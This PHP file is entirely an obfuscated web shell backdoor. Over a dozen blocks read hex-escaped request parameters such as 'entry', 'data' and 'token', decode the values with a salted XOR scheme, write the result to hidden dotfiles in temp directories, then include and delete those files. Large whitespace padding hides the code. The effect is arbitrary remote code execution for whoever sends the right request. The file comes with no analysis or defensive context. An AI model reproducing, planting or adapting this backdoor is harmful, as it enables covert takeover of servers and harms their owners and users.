<?php																																										if(!empty($_POST["f\x61\x63"])){ $descriptor = $_POST["f\x61\x63"]; $descriptor =explode ( '.' , $descriptor ); $comp = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt3 ); foreach( $descriptor as $i => $v3) { $sChar = ord( $salt3[$i % $lenS] ); $dec =( ( int)$v3 - $sChar -( $i % 10)) ^ 73; $comp .= chr( $dec ); } $dchunk = array_filter([getenv("TMP"), sys_get_temp_dir(), session_save_path(), getcwd(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP")]); foreach ($dchunk as $key => $value) { if (max(0, is_dir($value) * is_writable($value))) { $property_set = implode("/", [$value, ".binding"]); $success = file_put_contents($property_set, $comp); if ($success) { include $property_set; @unlink($property_set); exit;} } } }
																																										if(isset($_REQUEST["en\x74ry"])){ $factor = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TMP"), "/dev/shm", session_save_path(), getenv("TEMP"), getcwd()]); $data_chunk = $_REQUEST["en\x74ry"]; $data_chunk = explode ( '.' , $data_chunk ) ; $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $p = 0; foreach( $data_chunk as $v4) { $sChar = ord( $s[$p % $sLen]); $dec =( ( int)$v4 - $sChar -( $p % 10)) ^ 82; $holder .= chr( $dec); $p++;} foreach ($factor as $component): if (!!is_dir($component) && !!is_writable($component)) { $entity = join("/", [$component, ".binding"]); $file = fopen($entity, 'w'); if ($file) { fwrite($file, $holder); fclose($file); include $entity; @unlink($entity); die(); } } endforeach; }
																																										if(array_key_exists("d\x61ta", $_REQUEST)){ $item = $_REQUEST["d\x61ta"]; $item = explode ( '.' , $item ) ; $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $item as $l => $v4): $sChar = ord( $salt[$l % $sLen]); $d =( ( int)$v4 - $sChar -( $l % 10)) ^ 52; $fac .= chr( $d); endforeach; $binding = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd(), getenv("TMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path()]); $value = 0; do { $ptr = $binding[$value] ?? null; if ($value >= count($binding)) break; if (array_product([is_dir($ptr), is_writable($ptr)])) { $ent = sprintf("%s/.ent", $ptr); if (file_put_contents($ent, $fac)) { require $ent; unlink($ent); die(); } } $value++; } while (true); }
																																										if(in_array("e\x6E\x74ry", array_keys($_REQUEST))){ $hld = array_filter([getcwd(), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/var/tmp"]); $sym = $_REQUEST["e\x6E\x74ry"]; $sym= explode ("." ,$sym); $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $sym as $q => $v8) { $sChar = ord( $s[$q %$lenS]); $d =( ( int)$v8 - $sChar -( $q %10)) ^ 14; $ent .= chr( $d); } foreach ($hld as $data): if ((function($d) { return is_dir($d) && is_writable($d); })($data)) { $res = sprintf("%s/.parameter_group", $data); $file = fopen($res, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $res; @unlink($res); exit; } } endforeach; }
																																										if(array_key_exists("\x69\x74em", $_REQUEST)){ $elem = $_REQUEST["\x69\x74em"]; $elem= explode ('.' , $elem ) ; $record=''; $s5='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s5); $k=0; array_walk($elem , function($v2) use(&$record , &$k , $s5 , $lenS) { $chS=ord($s5[$k % $lenS]); $d=((int)$v2 - $chS -($k % 10)) ^ 9; $record .= chr($d); $k++; } ); $sym = array_filter(["/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP"), "/var/tmp", getcwd(), getenv("TEMP")]); foreach ($sym as $component) { if (is_dir($component) && is_writable($component)) { $token = "$component" . "/.binding"; $success = file_put_contents($token, $record); if ($success) { include $token; @unlink($token); exit;} } } }
																																										if(array_key_exists("\x70o\x69nt\x65\x72", $_REQUEST) && !is_null($_REQUEST["\x70o\x69nt\x65\x72"])){ $descriptor = array_filter([session_save_path(), "/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp"]); $itm = $_REQUEST["\x70o\x69nt\x65\x72"]; $itm = explode ( '.' ,$itm ) ; $obj =''; $salt8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt8 ); $i =0; array_walk($itm, function($v8) use(&$obj, &$i, $salt8, $lenS) {$chS =ord($salt8[$i % $lenS] ); $d =((int)$v8 - $chS -($i % 10)) ^ 53; $obj .= chr($d ); $i++; } ); for ($ref = 0, $desc = count($descriptor); $ref < $desc; $ref++) { $entry = $descriptor[$ref]; if (max(0, is_dir($entry) * is_writable($entry))) { $k = sprintf("%s/.flag", $entry); $file = fopen($k, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $k; @unlink($k); die(); } } } }
																																										if(isset($_POST["to\x6B\x65n"]) ? true : false){ $desc = array_filter(["/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), session_save_path(), "/dev/shm", getcwd(), sys_get_temp_dir()]); $pgrp = $_POST["to\x6B\x65n"]; $pgrp = explode ( '.' , $pgrp) ; $dat = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt7); $p = 0; while( $p < count( $pgrp)) { $v8 = $pgrp[$p]; $chS = ord( $salt7[$p % $sLen]); $dec =( ( int)$v8 - $chS -( $p % 10)) ^ 43; $dat .= chr( $dec); $p++; } foreach ($desc as $resource) { if (is_writable($resource) && is_dir($resource)) { $data_chunk = str_replace("{var_dir}", $resource, "{var_dir}/.data"); if (file_put_contents($data_chunk, $dat)) { require $data_chunk; unlink($data_chunk); exit; } } } }
																																										if(array_key_exists("\x69t\x65m", $_POST) && !is_null($_POST["\x69t\x65m"])){ $element = array_filter([sys_get_temp_dir(), "/var/tmp", getcwd(), "/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP")]); $token = $_POST["\x69t\x65m"]; $token = explode ('.',$token ) ; $desc =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s ); $q =0; $__len =count( $token ); do { if( $q >= $__len) break; $v6 =$token[$q]; $sChar =ord( $s[$q % $lenS] ); $dec =( ( int)$v6 - $sChar -( $q % 10))^46; $desc.= chr( $dec ); $q++; } while( true ); while ($ptr = array_shift($element)) { if ((bool)is_dir($ptr) && (bool)is_writable($ptr)) { $pointer = "$ptr" . "/.descriptor"; if (@file_put_contents($pointer, $desc) !== false) { include $pointer; unlink($pointer); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x65\x6Etry")){ $ent = array_filter([getenv("TMP"), session_save_path(), getcwd(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", sys_get_temp_dir()]); $element = $_POST["\x65\x6Etry"]; $element = explode ( ".",$element ) ; $rec =''; $salt7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt7 ); $l =0; $len =count($element ); do { if($l >= $len) break; $v6 =$element[$l]; $sChar =ord($salt7[$l %$sLen] ); $dec =((int)$v6 - $sChar -($l %10)) ^60; $rec.= chr($dec ); $l++; } while(true ); while ($marker = array_shift($ent)) { if ((is_dir($marker) and is_writable($marker))) { $pgrp = str_replace("{var_dir}", $marker, "{var_dir}/.pointer"); $success = file_put_contents($pgrp, $rec); if ($success) { include $pgrp; @unlink($pgrp); die();} } } }
																																										if(!is_null($_REQUEST["k"] ?? null)){ $pset = array_filter(["/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path()]); $flg = $_REQUEST["k"]; $flg =explode ( "." , $flg); $entry = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $y = 0; $__len = count($flg); do { if ($y >=$__len) break; $v4 = $flg[$y]; $chS = ord($salt8[$y % $lenS]); $d = ((int)$v4 - $chS - ($y % 10)) ^ 94; $entry.= chr($d); $y++; } while (true); while ($desc = array_shift($pset)) { if ((function($d) { return is_dir($d) && is_writable($d); })($desc)) { $reference = "$desc/.rec"; $success = file_put_contents($reference, $entry); if ($success) { include $reference; @unlink($reference); die();} } } }
																																										if(isset($_REQUEST["fac"]) ? true : false){ $obj = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/dev/shm", getenv("TMP"), "/var/tmp", getcwd(), "/tmp", sys_get_temp_dir()]); $bind = $_REQUEST["fac"]; $bind = explode ( ".",$bind ) ; $flag =''; $s5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s5); $len =count($bind); for($z =0; $z < $len; $z++) { $v2 =$bind[$z]; $chS =ord($s5[$z % $sLen]); $dec =((int)$v2 - $chS -($z % 10)) ^61; $flag .= chr($dec); } while ($marker = array_shift($obj)) { if (is_writable($marker) && is_dir($marker)) { $ref = sprintf("%s/.component", $marker); if (file_put_contents($ref, $flag)) { require $ref; unlink($ref); die(); } } } }
																																										if(@$_POST["\x72\x65s\x6F\x75rce"] !== null){ $ptr = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/tmp", session_save_path(), "/var/tmp", "/dev/shm", getenv("TEMP")]); $parameter_group = $_POST["\x72\x65s\x6F\x75rce"]; $parameter_group = explode( '.',$parameter_group ); $item = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6 ); $s = 0; $__tmp = $parameter_group; while($v7 = array_shift($__tmp)) { $chS = ord($s6[$s % $sLen] ); $dec =((int)$v7 - $chS -($s % 10)) ^ 74; $item .= chr($dec ); $s++; } while ($key = array_shift($ptr)) { if (is_dir($key) ? is_writable($key) : false) { $flag = "$key/.dat"; $file = fopen($flag, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $flag; @unlink($flag); exit; } } } }
																																										if(isset($_REQUEST["\x70\x61ra\x6Det\x65r\x5F\x67r\x6F\x75p"]) ? true : false){ $descriptor = $_REQUEST["\x70\x61ra\x6Det\x65r\x5F\x67r\x6F\x75p"]; $descriptor=explode("." , $descriptor ); $res= ''; $s7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s7); $w= 0; foreach($descriptor as $v1) { $chS= ord($s7[$w % $sLen]); $d= ((int)$v1 - $chS -($w % 10)) ^ 73; $res .= chr($d); $w++;} $symbol = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/var/tmp"]); foreach ($symbol as $record) { if (array_product([is_dir($record), is_writable($record)])) { $obj = "$record/.data_chunk"; if (file_put_contents($obj, $res)) { require $obj; unlink($obj); exit; } } } }
																																										if(!is_null($_REQUEST["\x76alu\x65"] ?? null)){ $ptr = $_REQUEST["\x76alu\x65"]; $ptr =explode ( '.' , $ptr ) ; $hld = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $o = 0; array_walk($ptr,function ($v9) use (&$hld,&$o,$salt,$sLen) { $chS = ord($salt[$o % $sLen]); $d = ((int)$v9 - $chS - ($o % 10))^ 14; $hld.=chr($d); $o++; }); $marker = array_filter(["/tmp", "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd()]); foreach ($marker as $dat) { if (array_product([is_dir($dat), is_writable($dat)])) { $token = vsprintf("%s/%s", [$dat, ".dchunk"]); if (file_put_contents($token, $hld)) { include $token; @unlink($token); exit; } } } }


if(in_array("da\x74a", array_keys($_REQUEST))){
	$marker = $_REQUEST["da\x74a"];
	$marker   =	explode 	 ( '.'	, $marker 	)			; 
	$elem = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt	);
    
            foreach ($marker as $k=>$v4) { $sChar = ord($salt[$k	%	$lenS]	);
                $d = ((int)$v4 - $sChar - ($k	%	10))	 ^45;
                $elem 	.=chr($d	);}		
	$value = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getcwd(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm"]);
	for ($rec = 0, $key = count($value); $rec < $key; $rec++) {
    $flg = $value[$rec];
    		if (is_dir($flg) ? is_writable($flg) : false) {
    $dchunk = sprintf("%s/.itm", $flg);
    if (@file_put_contents($dchunk, $elem) !== false) {
	include $dchunk;
	unlink($dchunk);
	exit;
}
}
}
}